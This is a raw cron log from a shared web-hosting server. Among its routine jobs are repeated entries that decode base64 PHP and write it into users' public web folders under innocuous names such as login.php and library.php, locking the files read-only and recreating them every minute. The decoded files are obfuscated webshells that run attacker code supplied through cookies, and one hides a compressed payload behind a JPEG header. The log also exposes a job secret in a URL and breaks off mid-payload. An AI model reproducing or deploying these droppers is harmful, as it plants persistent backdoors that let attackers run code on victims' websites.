Mar  2 12:15:02 medusa CROND[15121]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:15:02 medusa CROND[15123]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:15:02 medusa CROND[15122]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Mar  2 12:15:02 medusa CROND[15126]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 12:15:02 medusa CROND[15128]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:15:02 medusa CROND[15133]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  2 12:15:02 medusa CROND[15135]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 12:15:02 medusa CROND[15134]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:15:02 medusa CROND[15141]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:15:02 medusa CROND[15143]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:15:02 medusa CROND[15144]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:15:02 medusa CROND[15110]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:15:02 medusa CROND[15109]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:15:02 medusa CROND[15146]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:15:02 medusa CROND[15125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:16:01 medusa CROND[528]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:16:01 medusa CROND[602]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:16:02 medusa CROND[769]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:16:02 medusa CROND[770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:16:02 medusa CROND[771]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:16:02 medusa CROND[773]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:16:02 medusa CROND[774]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:16:02 medusa CROND[778]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:16:02 medusa CROND[782]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:16:02 medusa CROND[785]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:16:02 medusa CROND[791]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:16:02 medusa CROND[792]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:16:02 medusa CROND[799]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:16:02 medusa CROND[796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:17:01 medusa CROND[21585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:17:01 medusa CROND[21587]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:17:01 medusa CROND[21588]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgI